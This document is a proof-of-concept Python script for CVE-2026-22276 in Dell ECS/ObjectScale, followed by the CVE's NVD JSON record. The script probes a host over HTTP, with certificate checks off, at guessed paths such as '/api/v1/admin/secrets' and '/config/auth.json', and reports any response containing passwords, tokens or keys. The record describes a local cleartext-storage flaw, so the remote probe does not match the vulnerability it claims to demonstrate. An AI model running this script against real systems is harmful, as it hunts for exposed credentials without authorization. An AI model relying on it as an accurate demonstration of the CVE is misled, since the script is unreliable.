CVE-2026-22276

# CVE-2026-22276 PoC - Dell ECS/ObjectScale Sensitive Information Disclosure # This PoC demonstrates the information disclosure vulnerability # Note: Only for authorized security testing import requests import json TARGET_HOST = "https://target-ecs.example.com" API_ENDPOINT = f"{TARGET_HOST}/api/v1/configuration" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2026-22276 """ headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-22276-Scanner/1.0)", "Accept": "application/json" } try: # Attempt to access potentially exposed configuration files sensitive_endpoints = [ "/api/v1/config/credentials", "/api/v1/admin/secrets", "/config/auth.json", "/data/credentials.xml" ] results = [] for endpoint in sensitive_endpoints: response = requests.get(f"{TARGET_HOST}{endpoint}", headers=headers, verify=False, timeout=10) if response.status_code == 200: # Check if response contains plaintext sensitive data if any(keyword in response.text.lower() for keyword in ['password', 'secret', 'token', 'api_key', 'credential']): results.append({ "endpoint": endpoint, "status": "VULNERABLE", "leaked_data": "Plaintext sensitive information found" }) return results except Exception as e: return {"error": str(e)} if __name__ == "__main__": print("CVE-2026-22276 Vulnerability Scanner") print("=" * 50) results = check_vulnerability() print(json.dumps(results, indent=2))

{"cve": {"id": "CVE-2026-22276", "sourceIdentifier": "[email protected]", "published": "2026-01-23T10:15:53.800", "lastModified": "2026-02-18T13:57:44.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell ECS, versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.2.0.0, contains a Cleartext Storage of Sensitive Information vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information disclosure."}, {"lang": "es", "value": "Dell ECS, versiones 3.8.1.0 a 3.8.1.7, y Dell ObjectScale versiones anteriores a 4.2.0.0, contiene una vulnerabilidad de almacenamiento de información sensible en texto claro. Un atacante con pocos privilegios con acceso local podría, potencialmente, explotar esta vulnerabilidad, lo que llevaría a la revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:elastic_cloud_storage:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.1.0", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "8FFE0BD5-DC60-46D3-9A26-6E82DBB982EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:objectscale:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "25F884EC-C7A1-4734-8C17-08BFF2046175"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000415880/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}